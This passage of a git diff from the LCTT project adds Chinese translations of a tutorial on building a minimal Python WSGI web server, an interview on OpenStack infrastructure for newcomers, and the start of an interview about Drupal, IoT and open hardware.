https://opensource.com/life/16/3/my-linux-story-michael-perry + +作者:[Michael Perry][a] +译者:[chenxinlong](https://github.com/chenxinlong) +校对:[wxy](https://github.com/wxy) + +[a]: https://opensource.com/users/mpmilestogo +[1]: https://en.wikipedia.org/wiki/OS/2 +[2]: https://archive.org/details/IBMOS2Warp3Collection +[3]: https://en.wikipedia.org/wiki/Linuxcare +[4]: https://www.debian.org/ +[5]: diff --git "a/published/201608/20160406 Let\342\200\231s Build A Web Server. Part 2.md" "b/published/201608/20160406 Let\342\200\231s Build A Web Server. Part 2.md" new file mode 100644 index 0000000000..38c09e9915 --- /dev/null +++ "b/published/201608/20160406 Let\342\200\231s Build A Web Server. Part 2.md" @@ -0,0 +1,430 @@ +搭个 Web 服务器(二) +=================================== + +在[第一部分][1]中,我提出了一个问题:“如何在你刚刚搭建起来的 Web 服务器上适配 Django, Flask 或 Pyramid 应用,而不用单独对 Web 服务器做做出改动以适应各种不同的 Web 框架呢?”我们可以从这一篇中找到答案。 + +曾几何时,你所选择的 Python Web 框架会限制你所可选择的 Web 服务器,反之亦然。如果某个框架及服务器设计用来协同工作的,那么一切正常: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_before_wsgi.png) + +但你可能正面对着(或者曾经面对过)尝试将一对无法适配的框架和服务器搭配在一起的问题: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_after_wsgi.png) + +基本上,你需要选择那些能够一起工作的框架和服务器,而不能选择你想用的那些。 + +所以,你该如何确保在不对 Web 服务器或框架的代码做任何更改的情况下,让你的 Web 服务器和多个不同的 Web 框架一同工作呢?这个问题的答案,就是 Python Web 服务器网关接口(Web Server Gateway Interface )(缩写为 [WSGI][2],念做“wizgy”)。 + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_wsgi_idea.png) + +WSGI 允许开发者互不干扰地选择 Web 框架及 Web 服务器的类型。现在,你可以真正将 Web 服务器及框架任意搭配,然后选出你最中意的那对组合。比如,你可以使用 [Django][3],[Flask][4] 或者 [Pyramid][5],与 [Gunicorn][6],[Nginx/uWSGI][7] 或 [Waitress][8] 进行结合。感谢 WSGI 同时对服务器与框架的支持,我们可以真正随意选择它们的搭配了。 + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_wsgi_interop.png) + +所以,WSGI 就是我在第一部分中提出,又在本文开头重复了一遍的那个问题的答案。你的 Web 服务器必须实现 WSGI 接口的服务器部分,而现代的 Python Web 框架均已实现了 WSGI 接口的框架部分,这使得你可以直接在 Web 服务器中使用任意框架,而不需要更改任何服务器代码,以对特定的 Web 框架实现兼容。 + +现在,你已经知道 Web 服务器及 Web 框架对 WSGI 的支持使得你可以选择最合适的一对来使用,而且它也有利于服务器和框架的开发者,这样他们只需专注于其擅长的部分来进行开发,而不需要触及另一部分的代码。其它语言也拥有类似的接口,比如:Java 拥有 Servlet API,而 Ruby 拥有 Rack。 + +这些理论都不错,但是我打赌你在说:“Show me the code!” 那好,我们来看看下面这个很小的 WSGI 服务器实现: + +``` +### 使用 Python 2.7.9,在 Linux 及 Mac OS X 下测试通过 +import socket +import StringIO +import sys + + +class WSGIServer(object): + + address_family = socket.AF_INET + socket_type = socket.SOCK_STREAM + request_queue_size = 1 + + def __init__(self, server_address): + ### 创建一个监听的套接字 + self.listen_socket = listen_socket = socket.socket( + self.address_family, + self.socket_type + ) + ### 允许复用同一地址 + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + ### 绑定地址 + listen_socket.bind(server_address) + ### 激活套接字 + listen_socket.listen(self.request_queue_size) + ### 获取主机的名称及端口 + host, port = self.listen_socket.getsockname()[:2] + self.server_name = socket.getfqdn(host) + self.server_port = port + ### 返回由 Web 框架/应用设定的响应头部字段 + self.headers_set = [] + + def set_app(self, application): + self.application = application + + def serve_forever(self): + listen_socket = self.listen_socket + while True: + ### 获取新的客户端连接 + self.client_connection, client_address = listen_socket.accept() + ### 处理一条请求后关闭连接,然后循环等待另一个连接建立 + self.handle_one_request() + + def handle_one_request(self): + self.request_data = request_data = self.client_connection.recv(1024) + ### 以 'curl -v' 的风格输出格式化请求数据 + print(''.join( + '< {line}\n'.format(line=line) + for line in request_data.splitlines() + )) + + self.parse_request(request_data) + + ### 根据请求数据构建环境变量字典 + env = self.get_environ() + + ### 此时需要调用 Web 应用来获取结果, + ### 取回的结果将成为 HTTP 响应体 + result = self.application(env, self.start_response) + + ### 构造一个响应,回送至客户端 + self.finish_response(result) + + def parse_request(self, text): + request_line = text.splitlines()[0] + request_line = request_line.rstrip('\r\n') + ### 将请求行分成几个部分 + (self.request_method, # GET + self.path, # /hello + self.request_version # HTTP/1.1 + ) = request_line.split() + + def get_environ(self): + env = {} + ### 以下代码段没有遵循 PEP8 规则,但这样排版,是为了通过强调 + ### 所需变量及它们的值,来达到其展示目的。 + ### + ### WSGI 必需变量 + env['wsgi.version'] = (1, 0) + env['wsgi.url_scheme'] = 'http' + env['wsgi.input'] = StringIO.StringIO(self.request_data) + env['wsgi.errors'] = sys.stderr + env['wsgi.multithread'] = False + env['wsgi.multiprocess'] = False + env['wsgi.run_once'] = False + ### CGI 必需变量 + env['REQUEST_METHOD'] = self.request_method # GET + env['PATH_INFO'] = self.path # /hello + env['SERVER_NAME'] = self.server_name # localhost + env['SERVER_PORT'] = str(self.server_port) # 8888 + return env + + def start_response(self, status, response_headers, exc_info=None): + ### 添加必要的服务器头部字段 + server_headers = [ + ('Date', 'Tue, 31 Mar 2015 12:54:48 GMT'), + ('Server', 'WSGIServer 0.2'), + ] + self.headers_set = [status, response_headers + server_headers] + ### 为了遵循 WSGI 协议,start_response 函数必须返回一个 'write' + ### 可调用对象(返回值.write 可以作为函数调用)。为了简便,我们 + ### 在这里无视这个细节。 + ### return self.finish_response + + def finish_response(self, result): + try: + status, response_headers = self.headers_set + response = 'HTTP/1.1 {status}\r\n'.format(status=status) + for header in response_headers: + response += '{0}: {1}\r\n'.format(*header) + response += '\r\n' + for data in result: + response += data + ### 以 'curl -v' 的风格输出格式化请求数据 + print(''.join( + '> {line}\n'.format(line=line) + for line in response.splitlines() + )) + self.client_connection.sendall(response) + finally: + self.client_connection.close() + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 + +def make_server(server_address, application): + server = WSGIServer(server_address) + server.set_app(application) + return server + +if __name__ == '__main__': + if len(sys.argv) < 2: + sys.exit('Provide a WSGI application object as module:callable') + app_path = sys.argv[1] + module, application = app_path.split(':') + module = __import__(module) + application = getattr(module, application) + httpd = make_server(SERVER_ADDRESS, application) + print('WSGIServer: Serving HTTP on port {port} ...\n'.format(port=PORT)) + httpd.serve_forever() +``` + +当然,这段代码要比第一部分的服务器代码长不少,但它仍然很短(只有不到 150 行),你可以轻松理解它,而不需要深究细节。上面的服务器代码还可以做更多——它可以用来运行一些你喜欢的框架写出的 Web 应用,可以是 Pyramid,Flask,Django 或其它 Python WSGI 框架。 + +不相信吗?自己来试试看吧。把以上的代码保存为 `webserver2.py`,或直接从 [Github][9] 上下载它。如果你打算不加任何参数而直接运行它,它会抱怨一句,然后退出。 + +``` +$ python webserver2.py +Provide a WSGI application object as module:callable +``` + +它想做的其实是为你的 Web 应用服务,而这才是重头戏。为了运行这个服务器,你唯一需要的就是安装好 Python。不过,如果你希望运行 Pyramid,Flask 或 Django 应用,你还需要先安装那些框架。那我们把这三个都装上吧。我推荐的安装方式是通过 `virtualenv` 安装。按照以下几步来做,你就可以创建并激活一个虚拟环境,并在其中安装以上三个 Web 框架。 + +``` +$ [sudo] pip install virtualenv +$ mkdir ~/envs +$ virtualenv ~/envs/lsbaws/ +$ cd ~/envs/lsbaws/ +$ ls +bin include lib +$ source bin/activate +(lsbaws) $ pip install pyramid +(lsbaws) $ pip install flask +(lsbaws) $ pip install django +``` + +现在,你需要创建一个 Web 应用。我们先从 Pyramid 开始吧。把以下代码保存为 `pyramidapp.py`,并与刚刚的 `webserver2.py` 放置在同一目录,或直接从 [Github][10] 下载该文件: + +``` +from pyramid.config import Configurator +from pyramid.response import Response + + +def hello_world(request): + return Response( + 'Hello world from Pyramid!\n', + content_type='text/plain', + ) + +config = Configurator() +config.add_route('hello', '/hello') +config.add_view(hello_world, route_name='hello') +app = config.make_wsgi_app() +``` + +现在,你可以用你自己的 Web 服务器来运行你的 Pyramid 应用了: + +``` +(lsbaws) $ python webserver2.py pyramidapp:app +WSGIServer: Serving HTTP on port 8888 ... +``` + +你刚刚让你的服务器去加载 Python 模块 `pyramidapp` 中的可执行对象 `app`。现在你的服务器可以接收请求,并将它们转发到你的 Pyramid 应用中了。在浏览器中输入 http://localhost:8888/hello ,敲一下回车,然后看看结果: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_browser_pyramid.png) + +你也可以使用命令行工具 `curl` 来测试服务器: + +``` +$ curl -v http://localhost:8888/hello +... +``` + +看看服务器和 `curl` 向标准输出流打印的内容吧。 + +现在来试试 `Flask`。运行步骤跟上面的一样。 + +``` +from flask import Flask +from flask import Response +flask_app = Flask('flaskapp') + + +@flask_app.route('/hello') +def hello_world(): + return Response( + 'Hello world from Flask!\n', + mimetype='text/plain' + ) + +app = flask_app.wsgi_app +``` + +将以上代码保存为 `flaskapp.py`,或者直接从 [Github][11] 下载,然后输入以下命令运行服务器: + +``` +(lsbaws) $ python webserver2.py flaskapp:app +WSGIServer: Serving HTTP on port 8888 ... +``` + +现在在浏览器中输入 http://localhost:8888/hello ,敲一下回车: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_browser_flask.png) + +同样,尝试一下 `curl`,然后你会看到服务器返回了一条 `Flask` 应用生成的信息: + +``` +$ curl -v http://localhost:8888/hello +... +``` + +这个服务器能处理 Django 应用吗?试试看吧!不过这个任务可能有点复杂,所以我建议你将整个仓库克隆下来,然后使用 [Github][13] 仓库中的 [djangoapp.py][12] 来完成这个实验。这里的源代码主要是将 Django 的 helloworld 工程(已使用 `Django` 的 `django-admin.py startproject` 命令创建完毕)添加到了当前的 Python 路径中,然后导入了这个工程的 WSGI 应用。(LCTT 译注:除了这里展示的代码,还需要一个配合的 helloworld 工程才能工作,代码可以参见 [Github][13] 仓库。) + +``` +import sys +sys.path.insert(0, './helloworld') +from helloworld import wsgi + + +app = wsgi.application +``` + +将以上代码保存为 `djangoapp.py`,然后用你的 Web 服务器运行这个 Django 应用: + +``` +(lsbaws) $ python webserver2.py djangoapp:app +WSGIServer: Serving HTTP on port 8888 ... +``` + +输入以下链接,敲回车: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_browser_django.png) + +你这次也可以在命令行中测试——你之前应该已经做过两次了——来确认 Django 应用处理了你的请求: + +``` +$ curl -v http://localhost:8888/hello +... +``` + +你试过了吗?你确定这个服务器可以与那三个框架搭配工作吗?如果没试,请去试一下。阅读固然重要,但这个系列的内容是**重新搭建**,这意味着你需要亲自动手干点活。去试一下吧。别担心,我等着你呢。不开玩笑,你真的需要试一下,亲自尝试每一步,并确保它像预期的那样工作。 + +好,你已经体验到了 WSGI 的威力:它可以使 Web 服务器及 Web 框架随意搭配。WSGI 在 Python Web 服务器及框架之间提供了一个微型接口。它非常简单,而且在服务器和框架端均可以轻易实现。下面的代码片段展示了 WSGI 接口的服务器及框架端实现: + +``` +def run_application(application): + """服务器端代码。""" + ### Web 应用/框架在这里存储 HTTP 状态码以及 HTTP 响应头部, + ### 服务器会将这些信息传递给客户端 + headers_set = [] + ### 用于存储 WSGI/CGI 环境变量的字典 + environ = {} + + def start_response(status, response_headers, exc_info=None): + headers_set[:] = [status, response_headers] + + ### 服务器唤醒可执行变量“application”,获得响应头部 + result = application(environ, start_response) + ### 服务器组装一个 HTTP 响应,将其传送至客户端 + … + +def app(environ, start_response): + """一个空的 WSGI 应用""" + start_response('200 OK', [('Content-Type', 'text/plain')]) + return ['Hello world!'] + +run_application(app) +``` + +这是它的工作原理: + +1. Web 框架提供一个可调用对象 `application` (WSGI 规范没有规定它的实现方式)。 +2. Web 服务器每次收到来自客户端的 HTTP 请求后,会唤醒可调用对象 `applition`。它会向该对象传递一个包含 WSGI/CGI 变量的环境变量字典 `environ`,以及一个可调用对象 `start_response`。 +3. Web 框架或应用生成 HTTP 状态码和 HTTP 响应头部,然后将它传给 `start_response` 函数,服务器会将其存储起来。同时,Web 框架或应用也会返回 HTTP 响应正文。 +4. 服务器将状态码、响应头部及响应正文组装成一个 HTTP 响应,然后将其传送至客户端(这一步并不在 WSGI 规范中,但从逻辑上讲,这一步应该包含在工作流程之中。所以为了明确这个过程,我把它写了出来) + +这是这个接口规范的图形化表达: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_wsgi_interface.png) + +到现在为止,你已经看过了用 Pyramid、Flask 和 Django 写出的 Web 应用的代码,你也看到了一个 Web 服务器如何用代码来实现另一半(服务器端的) WSGI 规范。你甚至还看到了我们如何在不使用任何框架的情况下,使用一段代码来实现一个最简单的 WSGI Web 应用。 + +其实,当你使用上面的框架编写一个 Web 应用时,你只是在较高的层面工作,而不需要直接与 WSGI 打交道。但是我知道你一定也对 WSGI 接口的框架部分感兴趣,因为你在看这篇文章呀。所以,我们不用 Pyramid、Flask 或 Django,而是自己动手来创造一个最朴素的 WSGI Web 应用(或 Web 框架),然后将它和你的服务器一起运行: + +``` +def app(environ, start_response): + """一个最简单的 WSGI 应用。 + + 这是你自己的 Web 框架的起点 ^_^ + """ + status = '200 OK' + response_headers = [('Content-Type', 'text/plain')] + start_response(status, response_headers) + return ['Hello world from a simple WSGI application!\n'] +``` + +同样,将上面的代码保存为 `wsgiapp.py` 或直接从 [Github][14] 上下载该文件,然后在 Web 服务器上运行这个应用,像这样: + +``` +(lsbaws) $ python webserver2.py wsgiapp:app +WSGIServer: Serving HTTP on port 8888 ... +``` + +在浏览器中输入下面的地址,然后按下回车。这是你应该看到的结果: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_browser_simple_wsgi_app.png) + +你刚刚在学习如何创建一个 Web 服务器的过程中自己编写了一个最朴素的 WSGI Web 框架!棒极了! + +现在,我们再回来看看服务器传给客户端的那些东西。这是在使用 HTTP 客户端调用你的 Pyramid 应用时,服务器生成的 HTTP 响应内容: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_http_response.png) + +这个响应和你在本系列第一部分中看到的 HTTP 响应有一部分共同点,但它还多出来了一些内容。比如说,它拥有四个你曾经没见过的 [HTTP 头部][15]:`Content-Type`, `Content-Length`, `Date` 以及 `Server`。这些头部内容基本上在每个 Web 服务器返回的响应中都会出现。不过,它们都不是被严格要求出现的。这些 HTTP 请求/响应头部字段的目的在于它可以向你传递一些关于 HTTP 请求/响应的额外信息。 + +既然你对 WSGI 接口了解的更深了一些,那我再来展示一下上面那个 HTTP 响应中的各个部分的信息来源: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_http_response_explanation.png) + +我现在还没有对上面那个 `environ` 字典做任何解释,不过基本上这个字典必须包含那些被 WSGI 规范事先定义好的 WSGI 及 CGI 变量值。服务器在解析 HTTP 请求时,会从请求中获取这些变量的值。这是 `environ` 字典应该有的样子: + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_environ.png) + +Web 框架会利用以上字典中包含的信息,通过字典中的请求路径、请求动作等等来决定使用哪个视图来处理响应、在哪里读取请求正文、在哪里输出错误信息(如果有的话)。 + +现在,你已经创造了属于你自己的 WSGI Web 服务器,你也使用不同 Web 框架做了几个 Web 应用。而且,你在这个过程中也自己创造出了一个朴素的 Web 应用及框架。这个过程真是累人。现在我们来回顾一下,你的 WSGI Web 服务器在服务请求时,需要针对 WSGI 应用做些什么: + +- 首先,服务器开始工作,然后会加载一个可调用对象 `application`,这个对象由你的 Web 框架或应用提供 +- 然后,服务器读取一个请求 +- 然后,服务器会解析这个请求 +- 然后,服务器会使用请求数据来构建一个 `environ` 字典 +- 然后,它会用 `environ` 字典及一个可调用对象 `start_response` 作为参数,来调用 `application`,并获取响应体内容。 +- 然后,服务器会使用 `application` 返回的响应体,和 `start_response` 函数设置的状态码及响应头部内容,来构建一个 HTTP 响应。 +- 最终,服务器将 HTTP 响应回送给客户端。 + +![](https://ruslanspivak.com/lsbaws-part2/lsbaws_part2_server_summary.png) + +这基本上是服务器要做的全部内容了。你现在有了一个可以正常工作的 WSGI 服务器,它可以为使用任何遵循 WSGI 规范的 Web 框架(如 Django、Flask、Pyramid,还有你刚刚自己写的那个框架)构建出的 Web 应用服务。最棒的部分在于,它可以在不用更改任何服务器代码的情况下,与多个不同的 Web 框架一起工作。真不错。 + +在结束之前,你可以想想这个问题:“你该如何让你的服务器在同一时间处理多个请求呢?” + +敬请期待,我会在第三部分向你展示一种解决这个问题的方法。干杯! + +顺便,我在撰写一本名为《搭个 Web 服务器:从头开始》的书。这本书讲解了如何从头开始编写一个基本的 Web 服务器,里面包含本文中没有的更多细节。[订阅邮件列表][16],你就可以获取到这本书的最新进展,以及发布日期。 + +-------------------------------------------------------------------------------- + +via: https://ruslanspivak.com/lsbaws-part2/ + +作者:[Ruslan][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/rspivak/ +[1]: https://linux.cn/article-7662-1.html +[2]: https://www.python.org/dev/peps/pep-0333/ +[3]: https://www.djangoproject.com/ +[4]: http://flask.pocoo.org/ +[5]: http://trypyramid.com/ +[6]: http://gunicorn.org/ +[7]: http://uwsgi-docs.readthedocs.org/ +[8]: http://waitress.readthedocs.org/ +[9]: https://github.com/rspivak/lsbaws/blob/master/part2/webserver2.py +[10]: https://github.com/rspivak/lsbaws/blob/master/part2/pyramidapp.py +[11]: https://github.com/rspivak/lsbaws/blob/master/part2/flaskapp.py +[12]: https://github.com/rspivak/lsbaws/blob/master/part2/flaskapp.py +[13]: https://github.com/rspivak/lsbaws/ +[14]: https://github.com/rspivak/lsbaws/blob/master/part2/wsgiapp.py +[15]: http://en.wikipedia.org/wiki/List_of_HTTP_header_fields +[16]: https://ruslanspivak.com/lsbaws-part2/ \ No newline at end of file diff --git a/published/201608/20160416 A newcomer's guide to navigating OpenStack Infrastructure.md b/published/201608/20160416 A newcomer's guide to navigating OpenStack Infrastructure.md new file mode 100644 index 0000000000..952fc6f594 --- /dev/null +++ b/published/201608/20160416 A newcomer's guide to navigating OpenStack Infrastructure.md @@ -0,0 +1,94 @@ +给学习 OpenStack 架构的新手入门指南 +=========================================================== + +OpenStack 欢迎新成员的到来,但是,对于这个发展趋近成熟并且快速迭代的开源社区而言,能够拥有一个新手指南并不是件坏事。在奥斯汀举办的 OpenStack 峰会上,[Paul Belanger][1] (来自红帽公司)、 [Elizabeth K. Joseph][2] (来自 HPE 公司)和 [Christopher Aedo][3] (来自 IBM 公司)就[针对新人的 OpenStack 架构][4]作了一场专门的讲演。在这次采访中,他们提供了一些建议和资源来帮助新人成为 OpenStack 贡献者中的一员。 + +![](https://opensource.com/sites/default/files/images/life/Interview%20banner%20Q%26A.png) + +**你的讲演介绍中说你将“深入架构核心,并解释你需要知道的关于让 OpenStack 工作起来的每一件事情”。这对于 40 分钟的讲演来说是一个艰巨的任务。那么,对于学习 OpenStack 架构的新手来说最需要知道那些事情呢?** + +**Elizabeth K. Joseph (EKJ)**: 我们没有为 OpenStack 使用 GitHub 这种提交补丁的方式,这是因为这样做会对新手造成巨大的困扰,尽管由于历史原因我们还是在 GitHub 上维护了所有库的一个镜像。相反,我们使用了一种完全开源的评审形式,而且持续集成(CI)是由 OpenStack 架构团队维护的。与之有关的,自从我们使用了 CI 系统,每一个提交给 OpenStack 的改变都会在被合并之前进行测试。 + +**Paul Belanger (PB)**: 这个项目中的大多数都是富有激情的人,因此当你提交的补丁被某个人否定时不要感到沮丧。 + +**Christopher Aedo (CA)**:社区会帮助你取得成功,因此不要害怕提问或者寻求更多的那些能够促进你理解某些事物的引导者。 + +**在你的讲话中,对于一些你无法涉及到的方面,你会向新手推荐哪些在线资源来让他们更加容易入门?** + +**PB**:当然是我们的 [OpenStack 项目架构文档][5]。我们已经花了足够大的努力来尽可能让这些文档能够随时保持最新状态。在 OpenStack 运行中使用的每个系统都作为一个项目,都制作了专门的页面来进行说明。甚至于连 OpenStack 云这种架构团队也会放到线上。 + +**EKJ**:我对于架构文档这件事上的观点和 Paul 是一致的,另外,我们十分乐意看到来自那些正在学习项目的人们提交上来的补丁。我们通常不会意识到我们忽略了文档中的某些内容,除非它们恰好被人问起。因此,阅读、学习,会帮助我们修补这些知识上的漏洞。你可以在 [OpenStack 架构邮件清单]提出你的问题,或者在我们位于 FreeNode 上的 #OpenStack-infra 的 IRC 专栏发起你的提问。 + +**CA**:我喜欢[这个详细的帖子][7],它是由 Ian Wienand 写的一篇关于构建镜像的文章。 + +**"gotchas" 会是 OpenStack 新的贡献者们所寻找的吗?** + +**EKJ**:向项目作出贡献并不仅仅是提交新的代码和新的特性;OpenStack 社区高度重视代码评审。如果你想要别人查看你的补丁,那你最好先看看其他人是如何做的,然后参考他们的风格,最后一步步做到你也能够向其他人一样提交清晰且结构分明的代码补丁。你越是能让你的同伴了解你的工作并知道你正在做的评审,那他们也就越有可能及时评审你的代码。 + +**CA**:我看到过大量的新手在面对 [Gerrit][8] 时受挫,阅读开发者引导中的[开发者工作步骤][9],有可能的话多读几遍。如果你没有用过 Gerrit,那你最初对它的感觉可能是困惑和无力的。但是,如果你随后做了一些代码评审的工作,那么你就能轻松应对它。此外,我是 IRC 的忠实粉丝,它可能是一个获得帮助的好地方,但是,你最好保持一个长期在线的状态,这样,尽管你在某个时候没有出现,人们也可以回答你的问题。(阅读 [IRC,开源成功的秘诀][10])你不必总是在线,但是你最好能够轻松的在一个频道中回溯之前信息,以此来跟上最新的动态,这种能力非常重要。 + +**PB**:我同意 Elizabeth 和 Chris 的观点, Gerrit 是需要花点精力的,它将汇聚你的开发方面的努力。你不仅仅要提交代码给别人去评审,同时,你也要能够评审其他人的代码。看到 Gerrit 的界面,你可能一时会变的很困惑。我推荐新手去尝试 [Gertty][11],它是一个基于控制台的终端界面,用于 Gerrit 代码评审系统,而它恰好也是 OpenStack 架构所驱动的一个项目。 + +**你对于 OpenStack 新手如何通过网络与其他贡献者交流方面有什么好的建议?** + +**PB**:对我来说,是通过 IRC 并在 Freenode 上参加 #OpenStack-infra 频道([IRC 日志][12])。这频道上面有很多对新手来说很有价值的资源。你可以看到 OpenStack 项目日复一日的运作情况,同时,一旦你知道了 OpenStack 项目的工作原理,你将更好的知道如何为 OpenStack 的未来发展作出贡献。 + +**CA**:我想要为 IRC 再次说明一点,在 IRC 上保持全天在线记录对我来说有非常重大的意义,因为我会时刻保持连接并随时接到提醒。这也是一种非常好的获得帮助的方式,特别是当你和某人卡在了项目中出现的某一个难题的时候,而在一个活跃的 IRC 频道中,总会有一些人很乐意为你解决问题。 + +**EKJ**:[OpenStack 开发邮件列表][13]对于能够时刻查看到你所致力于的 OpenStack 项目的最新情况是非常重要的。因此,我推荐一定要订阅它。邮件列表使用主题标签来区分项目,因此你可以设置你的邮件客户端来使用它来专注于你所关心的项目。除了在线资源之外,全世界范围内也成立了一些 OpenStack 小组,他们被用来为 OpenStack 的用户和贡献者提供服务。这些小组可能会定期要求 OpenStack 主要贡献者们举办座谈和活动。你可以在 MeetUp.com 上搜素你所在地域的贡献者活动聚会,或者在 [groups.openstack.org][14] 上查看你所在的地域是否存在 OpenStack 小组。最后,还有一个每六个月举办一次的 [OpenStack 峰会][15],这个峰会上会作一些关于架构的演说。当前状态下,这个峰会包含了用户会议和开发者会议,会议内容都是和 OpenStack 相关的东西,包括它的过去,现在和未来。 + +**OpenStack 需要在那些方面得到提升来让新手更加容易学会并掌握?** + +**PB**: 我认为我们的 [account-setup][16] 环节对于新的贡献者已经做的比较容易了,特别是教他们如何提交他们的第一个补丁。真正参与到 OpenStack 开发者模式中是需要花费很大的努力的,相比贡献者来说已经显得非常多了;然而,一旦融入进去了,这个模式将会运转的十分高效和令人满意。 + +**CA**: 我们拥有一个由专业开发者组成的社区,而且我们的关注点都是发展 OpenStack 本身,同时,我们致力于让用户付出更小的代价去使用 OpenStack 云架构平台。我们需要发掘更多的应用开发者,并且鼓励更多的人去开发能在 OpenStack 云上完美运行的云应用程序,我们还鼓励他们在[社区 App 目录][17]上去贡献那些由他们开发的应用。我们可以通过不断提升我们的 API 标准和保证我们不同的库(比如 libcloud,phpopencloud 以及其他一些库)持续地为开发者提供可信赖的支持来实现这一目标。还有一点就是通过举办更多的 OpenStack 黑客比赛。所有的这些事情都可以降低新人的学习门槛,这样也能引导他们与这个社区之间的关系更加紧密。 + +**EKJ**: 我已经致力于开源软件很多年了。但是,对于大量的 OpenStack 开发者而言,这是一个他们自己所从事的第一个开源项目。我发现他们之前使用私有软件的背景并没有为他们塑造开源的观念、方法论,以及在开源项目中需要具备的合作技巧。我乐于看到我们能够让那些曾经一直在使用私有软件工作的人能够真正的明白他们在开源如软件社区所从事的事情的巨大价值。 + +**我想把 2016 年打造成开源俳句之年。请用俳句来向新手解释 OpenStack 一下。** + +(LCTT 译注:俳句(Haiku)是一种日本古典短诗,以5-7-5音节为三句,校对者不揣浅陋,诌了几句歪诗,勿笑 :D,另外 OpenStack 本身音节太长,就捏造了一个中文译名“开栈”——明白就好。) + +**PB**: 开栈在云上//倘钟情自由软件//先当造补丁(OpenStack runs clouds +If you enjoy free software +Submit your first patch) + +**CA**:时光不必久//开栈将支配世界//协力早来到(In the near future +OpenStack will rule the world +Help make it happen!) + +**EKJ**:开栈有自由//放在自家服务器//运行你的云(OpenStack is free +Deploy on your own servers +And run your own cloud!) + +*Paul、Elizabeth 和 Christopher 在 4 月 25 号星期一上午 11:15 于奥斯汀举办的 OpenStack 峰会发表了[演说][18]。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/business/16/4/interview-openstack-infrastructure-beginners + +作者:[Rikki Endsley][a] +译者:[kylepeng93](https://github.com/kylepeng93) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://rikkiendsley.com/ +[1]: https://twitter.com/pabelanger +[2]: https://twitter.com/pleia2 +[3]: https://twitter.com/docaedo +[4]: https://www.openstack.org/summit/austin-2016/summit-schedule/events/7337 +[5]: http://docs.openstack.org/infra/system-config/ +[6]: http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-infra +[7]: https://www.technovelty.org/openstack/image-building-in-openstack-ci.html +[8]: https://code.google.com/p/gerrit/ +[9]: http://docs.openstack.org/infra/manual/developers.html#development-workflow +[10]: https://developer.ibm.com/opentech/2015/12/20/irc-the-secret-to-success-in-open-source/ +[11]: https://pypi.python.org/pypi/gertty +[12]: http://eavesdrop.openstack.org/irclogs/%23openstack-infra/ +[13]: http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-dev +[14]: https://groups.openstack.org/ +[15]: https://www.openstack.org/summit/ +[16]: http://docs.openstack.org/infra/manual/developers.html#account-setup +[17]: https://apps.openstack.org/ +[18]: https://www.openstack.org/summit/austin-2016/summit-schedule/events/7337 diff --git a/published/201608/20160502 The intersection of Drupal, IoT, and open hardware.md b/published/201608/20160502 The intersection of Drupal, IoT, and open hardware.md new file mode 100644 index 0000000000..168bbce778 --- /dev/null +++ b/published/201608/20160502 The intersection of Drupal, IoT, and open hardware.md @@ -0,0 +1,61 @@ +Drupal、IoT 和开源硬件之间的交集 +======================================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/drupal_blue_gray_lead.jpeg?itok=t7W_KD-D) + + +来认识一下 [Amber Matz][1],她是来自 Lullabot Education 旗下的 [Drupalize.Me][3] 的产品经理以及培训师。当她没有倒腾 Arduino、Raspberry Pi 以及电子穿戴设备时,通常会在波特兰 Drupal 用户组里担任辩论主持人。 + +在即将举行的 [DrupalCon NOLA][3] 大会上,Amber 将主持一个关于 Drupal 和 IoT 的主题。如果你会去参加,也想了解下开源硬件,IoT 和 Drupal 之间的交集,那这个将很合适。如果你去不了新奥尔良的现场也没关系,Amber 还分享了许多很酷的事情。在这次采访中,她讲述了自己参与 Drupal 的原因,一些她自己喜欢的开源硬件项目,以及 IoT 和 Drupal 的未来。 + +![](https://opensource.com/sites/default/files/images/life/Interview%20banner%20Q%26A.png) + +**你是怎么加入 Drupal 社区的?** + +在这之前,我在一家大型非盈利性机构市场部的“网站管理部”工作,飞快地批量生产出各种定制 PHP/MySQL 表单。最终我厌烦了这一切,并开始在网上寻找更好的方式。然后我找到了 Drupal 6 并开始沉迷进去。过了几年,在一次跳槽之后,我发现了波特兰 Drupal 用户组,然后在里面找了一份全职的 Drupal 开发者工作。我一直经常参加在波特兰的聚会,在那里我找到了大量的社区、朋友和专业方面的发展。一个偶然的机会,我在 Lullabot 找了一份培训师的工作,为 Drupalize.Me 提供内容。现在,我管理着 Drupalize.Me 的内容输出,负责编撰 Drupal 8 相关的内容,还很大程度地参与到波特兰 Drupal 社区中。我是今年的协调员,寻找并安排演讲者们。 + +**我们想知道:什么是 Arduino 原型,你是怎么找到它的,以及你用 Arduino 做过的最酷的事是什么?** + +Arduino,Raspberry Pi,以及可穿戴电子设备,这些年到处都能听到这些术语。我在几年前通过 Becky Stern 的 YouTube 秀(最近由 Becky 继续主持,每周三播出)发现了 [Adafruit 的可穿戴电子设备][4]。我被那些可穿戴设备迷住了,还订了一套 LED 缝制工具,不过没做出任何东西。我不太适合它。我没有任何电子相关的背景,而且在我被那些项目吸引的时候,我根本不知道怎么做出那样的东西,它似乎看上去太遥远了。 + +后来,我在 Coursera 